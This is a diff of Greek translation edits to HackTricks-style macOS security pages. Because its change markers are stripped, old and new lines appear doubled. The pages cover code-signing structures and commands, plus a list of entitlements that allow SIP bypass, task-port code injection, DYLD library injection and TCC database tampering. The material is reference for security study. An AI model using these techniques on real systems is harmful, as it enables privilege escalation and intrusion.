Η κατακερματισμένη μορφή του πλήρους δυαδικού θα ήταν αναποτελεσματική και ακόμη και άχρηστη αν φορτωθεί μόνο μερικώς στη μνήμη. Επομένως, η υπογραφή κώδικα είναι στην πραγματικότητα ένας κατακερματισμός κατακερματισμών όπου κάθε δυαδική σελίδα κατακερματίζεται ατομικά.\
|
||||
Στην πραγματικότητα, στον προηγούμενο κώδικα **Καταλόγου Κώδικα** μπορείτε να δείτε ότι το **μέγεθος της σελίδας καθορίζεται** σε ένα από τα πεδία του. Επιπλέον, αν το μέγεθος του δυαδικού δεν είναι πολλαπλάσιο του μεγέθους μιας σελίδας, το πεδίο **CodeLimit** καθορίζει πού είναι το τέλος της υπογραφής.
|
||||
Η κατακερματισμένη πλήρης δυαδική μορφή θα ήταν αναποτελεσματική και ακόμη και άχρηστη αν φορτωθεί μόνο μερικώς στη μνήμη. Επομένως, η υπογραφή κώδικα είναι στην πραγματικότητα ένας κατακερματισμός κατακερματισμών όπου κάθε δυαδική σελίδα κατακερματίζεται ατομικά.\
|
||||
Στην πραγματικότητα, στον προηγούμενο κώδικα **Καταλόγου Κώδικα** μπορείτε να δείτε ότι το **μέγεθος της σελίδας καθορίζεται** σε ένα από τα πεδία του. Επιπλέον, αν το μέγεθος της δυαδικής μορφής δεν είναι πολλαπλάσιο του μεγέθους μιας σελίδας, το πεδίο **CodeLimit** καθορίζει πού είναι το τέλος της υπογραφής.
|
||||
```bash
|
||||
# Get all hashes of /bin/ps
|
||||
codesign -d -vvvvvv /bin/ps
|
||||
@ -144,13 +144,13 @@ openssl sha256 /tmp/*.page.*
|
||||
```
|
||||
## Entitlements Blob
|
||||
|
||||
Σημειώστε ότι οι εφαρμογές μπορεί επίσης να περιέχουν ένα **entitlement blob** όπου ορίζονται όλα τα δικαιώματα. Επιπλέον, ορισμένα iOS binaries μπορεί να έχουν τα δικαιώματά τους συγκεκριμένα στη ειδική υποδοχή -7 (αντί για την ειδική υποδοχή -5).
|
||||
Σημειώστε ότι οι εφαρμογές μπορεί επίσης να περιέχουν ένα **entitlement blob** όπου ορίζονται όλα τα δικαιώματα. Επιπλέον, ορισμένα iOS binaries μπορεί να έχουν τα δικαιώματά τους συγκεκριμένα στη ειδική θέση -7 (αντί για τη θέση -5 των δικαιωμάτων).
|
||||
|
||||
## Special Slots
|
||||
|
||||
Οι εφαρμογές MacOS δεν έχουν όλα όσα χρειάζονται για να εκτελούνται μέσα στο binary, αλλά χρησιμοποιούν επίσης **εξωτερικούς πόρους** (συνήθως μέσα στο **bundle** των εφαρμογών). Επομένως, υπάρχουν ορισμένες υποδοχές μέσα στο binary που θα περιέχουν τα hashes ορισμένων ενδιαφερόντων εξωτερικών πόρων για να ελέγξουν ότι δεν έχουν τροποποιηθεί.
|
||||
Οι εφαρμογές MacOS δεν έχουν όλα όσα χρειάζονται για να εκτελούνται μέσα στο binary, αλλά χρησιμοποιούν επίσης **εξωτερικούς πόρους** (συνήθως μέσα στο **bundle** των εφαρμογών). Επομένως, υπάρχουν ορισμένες θέσεις μέσα στο binary που θα περιέχουν τα hashes ορισμένων ενδιαφέροντων εξωτερικών πόρων για να ελέγξουν ότι δεν έχουν τροποποιηθεί.
|
||||
|
||||
Στην πραγματικότητα, είναι δυνατόν να δείτε στις δομές του Code Directory μια παράμετρο που ονομάζεται **`nSpecialSlots`** που υποδεικνύει τον αριθμό των ειδικών υποδοχών. Δεν υπάρχει ειδική υποδοχή 0 και οι πιο κοινές (από -1 έως -6) είναι:
|
||||
Στην πραγματικότητα, είναι δυνατόν να δούμε στις δομές του Code Directory μια παράμετρο που ονομάζεται **`nSpecialSlots`** που υποδεικνύει τον αριθμό των ειδικών θέσεων. Δεν υπάρχει ειδική θέση 0 και οι πιο κοινές (από -1 έως -6) είναι:
|
||||
|
||||
- Hash του `info.plist` (ή του μέσα στο `__TEXT.__info__plist`).
|
||||
- Hash των Απαιτήσεων
|
||||
@ -228,7 +228,7 @@ designated => identifier "org.whispersystems.signal-desktop" and anchor apple ge
|
||||
> [!NOTE]
|
||||
> Σημειώστε πώς αυτές οι υπογραφές μπορούν να ελέγξουν πράγματα όπως πληροφορίες πιστοποίησης, TeamID, IDs, δικαιώματα και πολλά άλλα δεδομένα.
|
||||
|
||||
Επιπλέον, είναι δυνατόν να δημιουργηθούν κάποιες μεταγλωττισμένες απαιτήσεις χρησιμοποιώντας το εργαλείο `csreq`:
|
||||
Επιπλέον, είναι δυνατόν να δημιουργηθούν κάποιες συμπιεσμένες απαιτήσεις χρησιμοποιώντας το εργαλείο `csreq`:
|
||||
```bash
|
||||
# Generate compiled requirements
|
||||
csreq -b /tmp/output.csreq -r='identifier "org.whispersystems.signal-desktop" and anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = U68MSDN6DR'
|
||||
@ -248,49 +248,49 @@ od -A x -t x1 /tmp/output.csreq
|
||||
- **`SecRequirementEvaluate`**: Επικυρώνει την απαίτηση στο πλαίσιο του πιστοποιητικού.
|
||||
- **`SecTaskValidateForRequirement`**: Επικυρώνει μια εκτελούμενη SecTask έναντι της απαίτησης `CFString`.
|
||||
|
||||
#### **Δημιουργία και Διαχείριση Απαιτήσεων Κωδικοποίησης**
|
||||
#### **Δημιουργία και Διαχείριση Απαιτήσεων Κώδικα**
|
||||
|
||||
- **`SecRequirementCreateWithData`:** Δημιουργεί ένα `SecRequirementRef` από δυαδικά δεδομένα που αντιπροσωπεύουν την απαίτηση.
|
||||
- **`SecRequirementCreateWithString`:** Δημιουργεί ένα `SecRequirementRef` από μια συμβολοσειρά έκφρασης της απαίτησης.
|
||||
- **`SecRequirementCopy[Data/String]`**: Ανακτά την δυαδική αναπαράσταση δεδομένων ενός `SecRequirementRef`.
|
||||
- **`SecRequirementCreateGroup`**: Δημιουργεί μια απαίτηση για την ιδιότητα μέλους ομάδας εφαρμογών.
|
||||
|
||||
#### **Πρόσβαση σε Πληροφορίες Υπογραφής Κωδικού**
|
||||
#### **Πρόσβαση σε Πληροφορίες Υπογραφής Κώδικα**
|
||||
|
||||
- **`SecStaticCodeCreateWithPath`**: Αρχικοποιεί ένα αντικείμενο `SecStaticCodeRef` από μια διαδρομή συστήματος αρχείων για την επιθεώρηση υπογραφών κωδικού.
|
||||
- **`SecStaticCodeCreateWithPath`**: Αρχικοποιεί ένα αντικείμενο `SecStaticCodeRef` από μια διαδρομή συστήματος αρχείων για την επιθεώρηση υπογραφών κώδικα.
|
||||
- **`SecCodeCopySigningInformation`**: Αποκτά πληροφορίες υπογραφής από ένα `SecCodeRef` ή `SecStaticCodeRef`.
|
||||
|
||||
#### **Τροποποίηση Απαιτήσεων Κωδικοποίησης**
|
||||
#### **Τροποποίηση Απαιτήσεων Κώδικα**
|
||||
|
||||
- **`SecCodeSignerCreate`**: Δημιουργεί ένα αντικείμενο `SecCodeSignerRef` για την εκτέλεση λειτουργιών υπογραφής κωδικού.
|
||||
- **`SecCodeSignerSetRequirement`**: Ορίζει μια νέα απαίτηση για τον υπογράφοντα κωδικό να εφαρμόσει κατά την υπογραφή.
|
||||
- **`SecCodeSignerAddSignature`**: Προσθέτει μια υπογραφή στον κωδικό που υπογράφεται με τον καθορισμένο υπογράφοντα.
|
||||
- **`SecCodeSignerCreate`**: Δημιουργεί ένα αντικείμενο `SecCodeSignerRef` για την εκτέλεση λειτουργιών υπογραφής κώδικα.
|
||||
- **`SecCodeSignerSetRequirement`**: Ορίζει μια νέα απαίτηση για τον υπογράφοντα κώδικα να εφαρμόσει κατά την υπογραφή.
|
||||
- **`SecCodeSignerAddSignature`**: Προσθέτει μια υπογραφή στον κώδικα που υπογράφεται με τον καθορισμένο υπογράφοντα.
|
||||
|
||||
#### **Επικύρωση Κωδικού με Απαιτήσεις**
|
||||
#### **Επικύρωση Κώδικα με Απαιτήσεις**
|
||||
|
||||
- **`SecStaticCodeCheckValidity`**: Επικυρώνει ένα στατικό αντικείμενο κωδικού έναντι καθορισμένων απαιτήσεων.
|
||||
- **`SecStaticCodeCheckValidity`**: Επικυρώνει ένα στατικό αντικείμενο κώδικα έναντι καθορισμένων απαιτήσεων.
|
||||
|
||||
#### **Επιπλέον Χρήσιμα APIs**
|
||||
|
||||
- **`SecCodeCopy[Internal/Designated]Requirement`: Λάβετε SecRequirementRef από SecCodeRef**
|
||||
- **`SecCodeCopyGuestWithAttributes`**: Δημιουργεί ένα `SecCodeRef` που αντιπροσωπεύει ένα αντικείμενο κωδικού με βάση συγκεκριμένα χαρακτηριστικά, χρήσιμο για sandboxing.
|
||||
- **`SecCodeCopyGuestWithAttributes`**: Δημιουργεί ένα `SecCodeRef` που αντιπροσωπεύει ένα αντικείμενο κώδικα με βάση συγκεκριμένα χαρακτηριστικά, χρήσιμο για sandboxing.
|
||||
- **`SecCodeCopyPath`**: Ανακτά τη διαδρομή συστήματος αρχείων που σχετίζεται με ένα `SecCodeRef`.
|
||||
- **`SecCodeCopySigningIdentifier`**: Αποκτά τον αναγνωριστικό υπογραφής (π.χ. Team ID) από ένα `SecCodeRef`.
|
||||
- **`SecCodeGetTypeID`**: Επιστρέφει τον τύπο αναγνωριστικού για αντικείμενα `SecCodeRef`.
|
||||
- **`SecRequirementGetTypeID`**: Λαμβάνει ένα CFTypeID ενός `SecRequirementRef`.
|
||||
|
||||
#### **Σημαίες και Σταθερές Υπογραφής Κωδικού**
|
||||
#### **Σημαίες και Σταθερές Υπογραφής Κώδικα**
|
||||
|
||||
- **`kSecCSDefaultFlags`**: Προεπιλεγμένες σημαίες που χρησιμοποιούνται σε πολλές λειτουργίες του Security.framework για λειτουργίες υπογραφής κωδικού.
|
||||
- **`kSecCSSigningInformation`**: Σημαία που χρησιμοποιείται για να καθορίσει ότι οι πληροφορίες υπογραφής πρέπει να ανακτηθούν.
|
||||
- **`kSecCSDefaultFlags`**: Προεπιλεγμένες σημαίες που χρησιμοποιούνται σε πολλές λειτουργίες του Security.framework για λειτουργίες υπογραφής κώδικα.
|
||||
- **`kSecCSSigningInformation`**: Σημαία που χρησιμοποιείται για να δηλώσει ότι οι πληροφορίες υπογραφής πρέπει να ανακτηθούν.
|
||||
|
||||
## Επιβολή Υπογραφής Κωδικού
|
||||
## Επιβολή Υπογραφής Κώδικα
|
||||
|
||||
Ο **kernel** είναι αυτός που **ελέγχει την υπογραφή κωδικού** πριν επιτρέψει την εκτέλεση του κωδικού της εφαρμογής. Επιπλέον, ένας τρόπος για να μπορέσετε να γράψετε και να εκτελέσετε νέο κωδικό στη μνήμη είναι η κατάχρηση του JIT εάν η `mprotect` καλείται με τη σημαία `MAP_JIT`. Σημειώστε ότι η εφαρμογή χρειάζεται μια ειδική εξουσιοδότηση για να μπορέσει να το κάνει αυτό.
|
||||
Ο **kernel** είναι αυτός που **ελέγχει την υπογραφή κώδικα** πριν επιτρέψει την εκτέλεση του κώδικα της εφαρμογής. Επιπλέον, ένας τρόπος για να μπορείτε να γράφετε και να εκτελείτε νέο κώδικα στη μνήμη είναι η κατάχρηση του JIT εάν η `mprotect` καλείται με τη σημαία `MAP_JIT`. Σημειώστε ότι η εφαρμογή χρειάζεται μια ειδική εξουσιοδότηση για να μπορεί να το κάνει αυτό.
|
||||
|
||||
## `cs_blobs` & `cs_blob`
|
||||
|
||||
[**cs_blob**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ubc_internal.h#L106) δομή περιέχει τις πληροφορίες σχετικά με την εξουσιοδότηση της εκτελούμενης διαδικασίας πάνω σε αυτήν. `csb_platform_binary` ενημερώνει επίσης αν η εφαρμογή είναι μια πλατφόρμα δυαδικό (το οποίο ελέγχεται σε διάφορες στιγμές από το OS για την εφαρμογή μηχανισμών ασφαλείας όπως η προστασία των δικαιωμάτων SEND στους θύρες εργασίας αυτών των διαδικασιών).
|
||||
[**cs_blob**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ubc_internal.h#L106) δομή περιέχει τις πληροφορίες σχετικά με την εξουσιοδότηση της εκτελούμενης διαδικασίας πάνω σε αυτήν. Το `csb_platform_binary` ενημερώνει επίσης αν η εφαρμογή είναι μια πλατφόρμα δυαδικού (η οποία ελέγχεται σε διάφορες στιγμές από το OS για την εφαρμογή μηχανισμών ασφαλείας όπως η προστασία των δικαιωμάτων SEND στους θύρες εργασίας αυτών των διαδικασιών).
|
||||
```c
|
||||
struct cs_blob {
|
||||
struct cs_blob *csb_next;
|
||||
|
||||
@ -3,62 +3,62 @@
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!WARNING]
|
||||
> Σημειώστε ότι τα entitlements που ξεκινούν με **`com.apple`** δεν είναι διαθέσιμα σε τρίτους, μόνο η Apple μπορεί να τα χορηγήσει.
|
||||
> Σημειώστε ότι τα δικαιώματα που ξεκινούν με **`com.apple`** δεν είναι διαθέσιμα σε τρίτους, μόνο η Apple μπορεί να τα χορηγήσει.
|
||||
|
||||
## Υψηλό
|
||||
|
||||
### `com.apple.rootless.install.heritable`
|
||||
|
||||
Το entitlement **`com.apple.rootless.install.heritable`** επιτρέπει να **παρακαμφθεί το SIP**. Δείτε [αυτό για περισσότερες πληροφορίες](macos-sip.md#com.apple.rootless.install.heritable).
|
||||
Το δικαίωμα **`com.apple.rootless.install.heritable`** επιτρέπει να **παρακαμφθεί το SIP**. Δείτε [αυτό για περισσότερες πληροφορίες](macos-sip.md#com.apple.rootless.install.heritable).
|
||||
|
||||
### **`com.apple.rootless.install`**
|
||||
|
||||
Το entitlement **`com.apple.rootless.install`** επιτρέπει να **παρακαμφθεί το SIP**. Δείτε [αυτό για περισσότερες πληροφορίες](macos-sip.md#com.apple.rootless.install).
|
||||
Το δικαίωμα **`com.apple.rootless.install`** επιτρέπει να **παρακαμφθεί το SIP**. Δείτε [αυτό για περισσότερες πληροφορίες](macos-sip.md#com.apple.rootless.install).
|
||||
|
||||
### **`com.apple.system-task-ports` (προηγουμένως ονομαζόταν `task_for_pid-allow`)**
|
||||
|
||||
Αυτό το entitlement επιτρέπει να αποκτηθεί το **task port για οποιαδήποτε** διαδικασία, εκτός από τον πυρήνα. Δείτε [**αυτό για περισσότερες πληροφορίες**](../macos-proces-abuse/macos-ipc-inter-process-communication/).
|
||||
Αυτό το δικαίωμα επιτρέπει να αποκτηθεί η **θύρα εργασίας για οποιαδήποτε** διαδικασία, εκτός από τον πυρήνα. Δείτε [**αυτό για περισσότερες πληροφορίες**](../macos-proces-abuse/macos-ipc-inter-process-communication/).
|
||||
|
||||
### `com.apple.security.get-task-allow`
|
||||
|
||||
Αυτό το entitlement επιτρέπει σε άλλες διαδικασίες με το entitlement **`com.apple.security.cs.debugger`** να αποκτούν το task port της διαδικασίας που εκτελείται από το δυαδικό αρχείο με αυτό το entitlement και **να εισάγουν κώδικα σε αυτό**. Δείτε [**αυτό για περισσότερες πληροφορίες**](../macos-proces-abuse/macos-ipc-inter-process-communication/).
|
||||
Αυτό το δικαίωμα επιτρέπει σε άλλες διαδικασίες με το δικαίωμα **`com.apple.security.cs.debugger`** να αποκτούν τη θύρα εργασίας της διαδικασίας που εκτελείται από το δυαδικό αρχείο με αυτό το δικαίωμα και **να εισάγουν κώδικα σε αυτήν**. Δείτε [**αυτό για περισσότερες πληροφορίες**](../macos-proces-abuse/macos-ipc-inter-process-communication/).
|
||||
|
||||
### `com.apple.security.cs.debugger`
|
||||
|
||||
Οι εφαρμογές με το Entitlement Εργαλείου Αποσφαλμάτωσης μπορούν να καλέσουν `task_for_pid()` για να ανακτήσουν ένα έγκυρο task port για μη υπογεγραμμένες και τρίτες εφαρμογές με το entitlement `Get Task Allow` ρυθμισμένο σε `true`. Ωστόσο, ακόμη και με το entitlement εργαλείου αποσφαλμάτωσης, ένας αποσφαλματωτής **δεν μπορεί να αποκτήσει τα task ports** διαδικασιών που **δεν έχουν το entitlement `Get Task Allow`**, και που είναι επομένως προστατευμένες από την Προστασία Ακεραιότητας Συστήματος. Δείτε [**αυτό για περισσότερες πληροφορίες**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger).
|
||||
Οι εφαρμογές με το Δικαίωμα Εργαλείου Αποσφαλμάτωσης μπορούν να καλέσουν `task_for_pid()` για να ανακτήσουν μια έγκυρη θύρα εργασίας για μη υπογεγραμμένες και τρίτες εφαρμογές με το δικαίωμα `Get Task Allow` ρυθμισμένο σε `true`. Ωστόσο, ακόμη και με το δικαίωμα εργαλείου αποσφαλμάτωσης, ένας αποσφαλματωτής **δεν μπορεί να αποκτήσει τις θύρες εργασίας** διαδικασιών που **δεν έχουν το δικαίωμα `Get Task Allow`**, και οι οποίες προστατεύονται από την Προστασία Ακεραιότητας Συστήματος. Δείτε [**αυτό για περισσότερες πληροφορίες**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger).
|
||||
|
||||
### `com.apple.security.cs.disable-library-validation`
|
||||
|
||||
Αυτό το entitlement επιτρέπει να **φορτώνονται frameworks, plug-ins ή βιβλιοθήκες χωρίς να είναι είτε υπογεγραμμένα από την Apple είτε υπογεγραμμένα με το ίδιο Team ID** με το κύριο εκτελέσιμο, έτσι ώστε ένας επιτιθέμενος να μπορούσε να εκμεταλλευτεί κάποια αυθαίρετη φόρτωση βιβλιοθήκης για να εισάγει κώδικα. Δείτε [**αυτό για περισσότερες πληροφορίες**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-library-validation).
|
||||
Αυτό το δικαίωμα επιτρέπει να **φορτώνονται πλαίσια, πρόσθετα ή βιβλιοθήκες χωρίς να είναι είτε υπογεγραμμένα από την Apple είτε υπογεγραμμένα με το ίδιο Team ID** με το κύριο εκτελέσιμο, έτσι ώστε ένας επιτιθέμενος να μπορούσε να εκμεταλλευτεί κάποια αυθαίρετη φόρτωση βιβλιοθήκης για να εισάγει κώδικα. Δείτε [**αυτό για περισσότερες πληροφορίες**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-library-validation).
|
||||
|
||||
### `com.apple.private.security.clear-library-validation`
|
||||
|
||||
Αυτό το entitlement είναι πολύ παρόμοιο με το **`com.apple.security.cs.disable-library-validation`** αλλά **αντί** να **απενεργοποιεί άμεσα** την επικύρωση βιβλιοθηκών, επιτρέπει στη διαδικασία να **καλέσει μια κλήση συστήματος `csops` για να την απενεργοποιήσει**.\
|
||||
Αυτό το δικαίωμα είναι πολύ παρόμοιο με το **`com.apple.security.cs.disable-library-validation`** αλλά **αντί** να **απενεργοποιεί άμεσα** την επικύρωση βιβλιοθηκών, επιτρέπει στη διαδικασία να **καλέσει μια κλήση συστήματος `csops` για να την απενεργοποιήσει**.\
|
||||
Δείτε [**αυτό για περισσότερες πληροφορίες**](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/).
|
||||
|
||||
### `com.apple.security.cs.allow-dyld-environment-variables`
|
||||
|
||||
Αυτό το entitlement επιτρέπει να **χρησιμοποιούνται μεταβλητές περιβάλλοντος DYLD** που θα μπορούσαν να χρησιμοποιηθούν για να εισάγουν βιβλιοθήκες και κώδικα. Δείτε [**αυτό για περισσότερες πληροφορίες**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-dyld-environment-variables).
|
||||
Αυτό το δικαίωμα επιτρέπει να **χρησιμοποιούνται μεταβλητές περιβάλλοντος DYLD** που θα μπορούσαν να χρησιμοποιηθούν για την εισαγωγή βιβλιοθηκών και κώδικα. Δείτε [**αυτό για περισσότερες πληροφορίες**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-dyld-environment-variables).
|
||||
|
||||
### `com.apple.private.tcc.manager` ή `com.apple.rootless.storage`.`TCC`
|
||||
|
||||
[**Σύμφωνα με αυτό το blog**](https://objective-see.org/blog/blog_0x4C.html) **και** [**αυτό το blog**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/), αυτά τα entitlements επιτρέπουν να **τροποποιηθεί** η βάση δεδομένων **TCC**.
|
||||
[**Σύμφωνα με αυτό το blog**](https://objective-see.org/blog/blog_0x4C.html) **και** [**αυτό το blog**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/), αυτά τα δικαιώματα επιτρέπουν να **τροποποιηθεί** η βάση δεδομένων **TCC**.
|
||||
|
||||
### **`system.install.apple-software`** και **`system.install.apple-software.standar-user`**
|
||||
|
||||
Αυτά τα entitlements επιτρέπουν να **εγκαθίστανται λογισμικά χωρίς να ζητούν άδειες** από τον χρήστη, κάτι που μπορεί να είναι χρήσιμο για μια **κλιμάκωση προνομίων**.
|
||||
Αυτά τα δικαιώματα επιτρέπουν να **εγκαθίστανται λογισμικά χωρίς να ζητούν άδειες** από τον χρήστη, κάτι που μπορεί να είναι χρήσιμο για μια **κλιμάκωση προνομίων**.
|
||||
|
||||
### `com.apple.private.security.kext-management`
|
||||
|
||||
Entitlement που απαιτείται για να ζητήσει από τον **πυρήνα να φορτώσει μια επέκταση πυρήνα**.
|
||||
Δικαίωμα που απαιτείται για να ζητήσει ο **πυρήνας να φορτώσει μια επέκταση πυρήνα**.
|
||||
|
||||
### **`com.apple.private.icloud-account-access`**
|
||||
|
||||
Το entitlement **`com.apple.private.icloud-account-access`** επιτρέπει την επικοινωνία με την υπηρεσία XPC **`com.apple.iCloudHelper`** η οποία θα **παρέχει tokens iCloud**.
|
||||
Το δικαίωμα **`com.apple.private.icloud-account-access`** επιτρέπει την επικοινωνία με την υπηρεσία XPC **`com.apple.iCloudHelper`** η οποία θα **παρέχει tokens iCloud**.
|
||||
|
||||
**iMovie** και **Garageband** είχαν αυτό το entitlement.
|
||||
**iMovie** και **Garageband** είχαν αυτό το δικαίωμα.
|
||||
|
||||
Για περισσότερες **πληροφορίες** σχετικά με την εκμετάλλευση για **να αποκτήσετε tokens icloud** από αυτό το entitlement δείτε την ομιλία: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
|
||||
Για περισσότερες **πληροφορίες** σχετικά με την εκμετάλλευση για **να αποκτήσετε tokens icloud** από αυτό το δικαίωμα, δείτε την ομιλία: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
|
||||
|
||||
### `com.apple.private.tcc.manager.check-by-audit-token`
|
||||
|
||||
@ -74,7 +74,7 @@ TODO: Στην [**αυτή την αναφορά**](https://jhftss.github.io/The
|
||||
|
||||
### `keychain-access-groups`
|
||||
|
||||
Αυτό το entitlement καταγράφει τις ομάδες **keychain** στις οποίες η εφαρμογή έχει πρόσβαση:
|
||||
Αυτό το δικαίωμα καταγράφει τις ομάδες **keychain** στις οποίες η εφαρμογή έχει πρόσβαση:
|
||||
```xml
|
||||
<key>keychain-access-groups</key>
|
||||
<array>
|
||||
@ -113,21 +113,21 @@ osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to acti
|
||||
|
||||
<figure><img src="../../../images/image (31).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Είναι δυνατόν να ελεγχθεί ποιος έχει αυτή την πρόσβαση στο _System Settings_ > _Privacy & Security_ > _App Management._
|
||||
Είναι δυνατόν να ελέγξετε ποιος έχει αυτή την πρόσβαση στο _System Settings_ > _Privacy & Security_ > _App Management._
|
||||
|
||||
### `kTCCServiceAccessibility`
|
||||
|
||||
Η διαδικασία θα είναι σε θέση να **καταχραστεί τις δυνατότητες προσβασιμότητας του macOS**, που σημαίνει ότι για παράδειγμα θα μπορεί να πατήσει πλήκτρα. Έτσι θα μπορούσε να ζητήσει πρόσβαση για να ελέγξει μια εφαρμογή όπως το Finder και να εγκρίνει το παράθυρο διαλόγου με αυτή την άδεια.
|
||||
Η διαδικασία θα είναι σε θέση να **καταχραστεί τις δυνατότητες προσβασιμότητας του macOS**, που σημαίνει ότι για παράδειγμα θα μπορεί να πατάει πλήκτρα. Έτσι θα μπορούσε να ζητήσει πρόσβαση για να ελέγξει μια εφαρμογή όπως το Finder και να εγκρίνει το διάλογο με αυτή την άδεια.
|
||||
|
||||
## Medium
|
||||
|
||||
### `com.apple.security.cs.allow-jit`
|
||||
|
||||
Αυτή η άδεια επιτρέπει να **δημιουργήσει μνήμη που είναι εγγράψιμη και εκτελέσιμη** περνώντας τη σημαία `MAP_JIT` στη συνάρτηση συστήματος `mmap()`. Δείτε [**αυτό για περισσότερες πληροφορίες**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-jit).
|
||||
Αυτή η άδεια επιτρέπει να **δημιουργηθεί μνήμη που είναι εγγράψιμη και εκτελέσιμη** περνώντας τη σημαία `MAP_JIT` στη συνάρτηση συστήματος `mmap()`. Δείτε [**αυτό για περισσότερες πληροφορίες**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-jit).
|
||||
|
||||
### `com.apple.security.cs.allow-unsigned-executable-memory`
|
||||
|
||||
Αυτή η άδεια επιτρέπει να **παρακάμψει ή να διορθώσει κώδικα C**, να χρησιμοποιήσει τη μακροχρόνια αποσυρμένη **`NSCreateObjectFileImageFromMemory`** (η οποία είναι θεμελιωδώς ανασφαλής), ή να χρησιμοποιήσει το **DVDPlayback** framework. Δείτε [**αυτό για περισσότερες πληροφορίες**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory).
|
||||
Αυτή η άδεια επιτρέπει να **υπερκαλύψει ή να διορθώσει C κώδικα**, να χρησιμοποιήσει τη μακροχρόνια αποσυρμένη **`NSCreateObjectFileImageFromMemory`** (η οποία είναι θεμελιωδώς ανασφαλής), ή να χρησιμοποιήσει το **DVDPlayback** framework. Δείτε [**αυτό για περισσότερες πληροφορίες**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory).
|
||||
|
||||
> [!CAUTION]
|
||||
> Η συμπερίληψη αυτής της άδειας εκθέτει την εφαρμογή σας σε κοινές ευπάθειες σε γλώσσες κώδικα που είναι ανασφαλείς στη μνήμη. Σκεφτείτε προσεκτικά αν η εφαρμογή σας χρειάζεται αυτή την εξαίρεση.
|
||||
@ -137,7 +137,7 @@ osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to acti
|
||||
Αυτή η άδεια επιτρέπει να **τροποποιήσει τμήματα των εκτελέσιμων αρχείων της** στο δίσκο για να εξαναγκάσει την έξοδο. Δείτε [**αυτό για περισσότερες πληροφορίες**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-executable-page-protection).
|
||||
|
||||
> [!CAUTION]
|
||||
> Η Άδεια Απενεργοποίησης Προστασίας Εκτελέσιμης Μνήμης είναι μια ακραία άδεια που αφαιρεί μια θεμελιώδη προστασία ασφαλείας από την εφαρμογή σας, καθιστώντας δυνατή την αναγραφή του εκτελέσιμου κώδικα της εφαρμογής σας χωρίς ανίχνευση. Προτιμήστε στενότερες άδειες αν είναι δυνατόν.
|
||||
> Η άδεια Απενεργοποίησης Προστασίας Εκτελέσιμης Μνήμης είναι μια ακραία άδεια που αφαιρεί μια θεμελιώδη προστασία ασφαλείας από την εφαρμογή σας, καθιστώντας δυνατή την αναγραφή του εκτελέσιμου κώδικα της εφαρμογής σας χωρίς ανίχνευση. Προτιμήστε στενότερες άδειες αν είναι δυνατόν.
|
||||
|
||||
### `com.apple.security.cs.allow-relative-library-loads`
|
||||
|
||||
|
||||
@ -38,11 +38,11 @@
|
||||
|
||||
### Ανοιχτό `O_NOFOLLOW`
|
||||
|
||||
Η σημαία `O_NOFOLLOW` όταν χρησιμοποιείται από τη συνάρτηση `open` δεν θα ακολουθήσει έναν συμβολικό σύνδεσμο στο τελευταίο συστατικό της διαδρομής, αλλά θα ακολουθήσει την υπόλοιπη διαδρομή. Ο σωστός τρόπος για να αποτρέψετε την ακολουθία συμβολικών συνδέσμων στη διαδρομή είναι χρησιμοποιώντας τη σημαία `O_NOFOLLOW_ANY`.
|
||||
Η σημαία `O_NOFOLLOW` όταν χρησιμοποιείται από τη συνάρτηση `open` δεν θα ακολουθήσει έναν συμβολικό σύνδεσμο στο τελευταίο συστατικό της διαδρομής, αλλά θα ακολουθήσει την υπόλοιπη διαδρομή. Ο σωστός τρόπος για να αποτρέψετε την ακολουθία συμβολικών συνδέσμων στη διαδρομή είναι να χρησιμοποιήσετε τη σημαία `O_NOFOLLOW_ANY`.
|
||||
|
||||
## .fileloc
|
||||
|
||||
Αρχεία με επέκταση **`.fileloc`** μπορούν να δείχνουν σε άλλες εφαρμογές ή δυαδικά, έτσι όταν ανοίγουν, η εφαρμογή/δυαδικό θα είναι αυτό που θα εκτελείται.\
|
||||
Αρχεία με επέκταση **`.fileloc`** μπορούν να δείχνουν σε άλλες εφαρμογές ή δυαδικά, έτσι όταν ανοίγονται, η εφαρμογή/δυαδικό θα είναι αυτό που θα εκτελείται.\
|
||||
Παράδειγμα:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
@ -122,7 +122,7 @@ ls -le /tmp/test
|
||||
|
||||
Η μορφή αρχείου **AppleDouble** αντιγράφει ένα αρχείο συμπεριλαμβανομένων των ACEs του.
|
||||
|
||||
